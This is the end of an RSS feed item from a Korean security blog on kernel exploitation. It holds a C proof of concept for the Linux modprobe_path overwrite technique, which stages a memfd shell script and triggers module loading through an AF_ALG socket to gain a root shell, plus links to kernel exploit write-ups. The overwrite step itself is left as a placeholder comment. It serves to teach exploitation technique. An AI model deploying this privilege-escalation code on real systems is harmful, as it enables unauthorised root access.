&lt;pre id=&quot;code_1751790326833&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;linux/if_alg.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;

#define MODPROBE_SCRIPT &quot;#!/bin/sh\n/bin/sh 0&amp;lt;/proc/%u/fd/%u 1&amp;gt;/proc/%u/fd/%u 2&amp;gt;&amp;amp;1\n&quot;

unsigned long modprobe_path = 0xffffffff82b45b20;
char fake_modprobe[40] = {0};

int main()
{
        struct sockaddr_alg sa;
        pid_t pid = getpid();

        int modprobe_script_fd = memfd_create(&quot;&quot;, MFD_CLOEXEC);
        int shell_stdin_fd = dup(STDIN_FILENO);
        int shell_stdout_fd = dup(STDOUT_FILENO);

        dprintf(modprobe_script_fd, MODPROBE_SCRIPT, pid, shell_stdin_fd, pid, shell_stdout_fd);
        char link_target[64];
        snprintf(link_target, sizeof(fake_modprobe), &quot;/proc/%i/fd/%i&quot;, pid, modprobe_script_fd);

        char link[64] = &quot;/tmp/x&quot;;
        if (symlink(link_target, link) &amp;lt; 0)
        {
                perror(&quot;symlink&quot;);
                return 1;
        }

        #modprobe_path를 link의 값으로 덮어씌움.

        int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
        if (alg_fd &amp;lt; 0) {
                perror(&quot;socket(AF_ALG) failed&quot;);
                return 1;
        }

        memset(&amp;amp;sa, 0, sizeof(sa));
        sa.salg_family = AF_ALG;
        strcpy((char *)sa.salg_type, &quot;V4bel&quot;);  // dummy string
        bind(alg_fd, (struct sockaddr *)&amp;amp;sa, sizeof(sa));

        printf(&quot;[-] Failed&quot;);
        return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Reference&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://tripoloski1337.github.io/ctf/kernelexploit/2023/01/06/modprobe-overwrite.html&quot;&gt;Modprobe overwrite | tripoloski blog&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1751788276010&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Modprobe overwrite&quot; data-og-description=&quot;modprobe overwrite - kernel exploitation&quot; data-og-host=&quot;tripoloski1337.github.io&quot; data-og-source-url=&quot;https://tripoloski1337.github.io/ctf/kernelexploit/2023/01/06/modprobe-overwrite.html&quot; data-og-url=&quot;https://tripoloski1337.github.io/ctf/kernelexploit/2023/01/06/modprobe-overwrite.html&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bSr9Nh/hyZfZum0LZ/3IowHrm9aj2VKhz9XKxY4k/img.jpg?width=1024&amp;amp;height=1024&amp;amp;face=305_476_679_884,https://scrap.kakaocdn.net/dn/fedS8/hyZjkKnx5R/1HLRDUVeaAXNFnXKHrXJkk/img.png?width=814&amp;amp;height=648&amp;amp;face=0_0_814_648,https://scrap.kakaocdn.net/dn/uTT1w/hyZf3Q4vCw/mh4GBd4DOWwFPoB2ZPGJfk/img.png?width=916&amp;amp;height=458&amp;amp;face=0_0_916_458&quot;&gt;&lt;a href=&quot;https://tripoloski1337.github.io/ctf/kernelexploit/2023/01/06/modprobe-overwrite.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://tripoloski1337.github.io/ctf/kernelexploit/2023/01/06/modprobe-overwrite.html&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bSr9Nh/hyZfZum0LZ/3IowHrm9aj2VKhz9XKxY4k/img.jpg?width=1024&amp;amp;height=1024&amp;amp;face=305_476_679_884,https://scrap.kakaocdn.net/dn/fedS8/hyZjkKnx5R/1HLRDUVeaAXNFnXKHrXJkk/img.png?width=814&amp;amp;height=648&amp;amp;face=0_0_814_648,https://scrap.kakaocdn.net/dn/uTT1w/hyZf3Q4vCw/mh4GBd4DOWwFPoB2ZPGJfk/img.png?width=916&amp;amp;height=458&amp;amp;face=0_0_916_458');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Modprobe overwrite&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;modprobe overwrite - kernel exploitation&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;tripoloski1337.github.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/&quot;&gt;Linux Kernel Exploitation Technique: Overwriting modprobe_path - Midas Blog&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1751788237729&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Linux Kernel Exploitation Technique: Overwriting modprobe_path&quot; data-og-description=&quot;A popular and powerful technique to exploit the Linux kernel through modprobe_path&quot; data-og-host=&quot;lkmidas.github.io&quot; data-og-source-url=&quot;https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/&quot; data-og-url=&quot;https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bXMqNQ/hyZjATY5CF/kq854cCpqygGVVKxc93Gc0/img.png?width=480&amp;amp;height=480&amp;amp;face=0_0_480_480,https://scrap.kakaocdn.net/dn/bc2c3U/hyZjC5lkWQ/HsfaAX7xbvgM8aOrjyaw4K/img.png?width=480&amp;amp;height=480&amp;amp;face=0_0_480_480&quot;&gt;&lt;a href=&quot;https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bXMqNQ/hyZjATY5CF/kq854cCpqygGVVKxc93Gc0/img.png?width=480&amp;amp;height=480&amp;amp;face=0_0_480_480,https://scrap.kakaocdn.net/dn/bc2c3U/hyZjC5lkWQ/HsfaAX7xbvgM8aOrjyaw4K/img.png?width=480&amp;amp;height=480&amp;amp;face=0_0_480_480');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Linux Kernel Exploitation Technique: Overwriting modprobe_path&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;A popular and powerful technique to exploit the Linux kernel through modprobe_path&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;lkmidas.github.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://theori.io/blog/linux-kernel-exploit-cve-2022-32250-with-mqueue&quot;&gt;Linux Kernel Exploit (CVE-2022&amp;ndash;32250) with mqueue - Theori BLOG&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1751788243471&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Linux Kernel Exploit (CVE-2022&amp;ndash;32250) with mqueue - Theori BLOG&quot; data-og-description=&quot;We exploited CVE-2022-32250, a use-after-free vulnerability in Linux Netfilter, to achieve root on Ubuntu 22.04. Learn how we bypassed KASLR and modified modprobe_path. | Vulnerability Research&quot; data-og-host=&quot;theori.io&quot; data-og-source-url=&quot;https://theori.io/blog/linux-kernel-exploit-cve-2022-32250-with-mqueue&quot; data-og-url=&quot;https://theori.io/blog/linux-kernel-exploit-cve-2022-32250-with-mqueue&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/jVH0K/hyZfW5su2O/UMKXbKUZxbrGrwGWyg9YGk/img.png?width=1200&amp;amp;height=675&amp;amp;face=0_0_1200_675,https://scrap.kakaocdn.net/dn/1PuCT/hyZjv6dlRv/nCB3IaGwS6p0GkwISQ16P0/img.png?width=1200&amp;amp;height=675&amp;amp;face=0_0_1200_675&quot;&gt;&lt;a href=&quot;https://theori.io/blog/linux-kernel-exploit-cve-2022-32250-with-mqueue&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://theori.io/blog/linux-kernel-exploit-cve-2022-32250-with-mqueue&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/jVH0K/hyZfW5su2O/UMKXbKUZxbrGrwGWyg9YGk/img.png?width=1200&amp;amp;height=675&amp;amp;face=0_0_1200_675,https://scrap.kakaocdn.net/dn/1PuCT/hyZjv6dlRv/nCB3IaGwS6p0GkwISQ16P0/img.png?width=1200&amp;amp;height=675&amp;amp;face=0_0_1200_675');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Linux Kernel Exploit (CVE-2022&amp;ndash;32250) with mqueue - Theori BLOG&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;We exploited CVE-2022-32250, a use-after-free vulnerability in Linux Netfilter, to achieve root on Ubuntu 22.04. Learn how we bypassed KASLR and modified modprobe_path. | Vulnerability Research&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;theori.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Kernel Exploit/Theory</category>
      <author>wyv3rn</author>
      <guid isPermaLink="true">https://wyv3rn.tistory.com/581</guid>
      <comments>https://wyv3rn.tistory.com/581#entry581comment</comments>
      <pubDate>Sun, 6 Jul 2025 17:27:45 +0900</pubDate>
    </item>
  </channel>
</rss>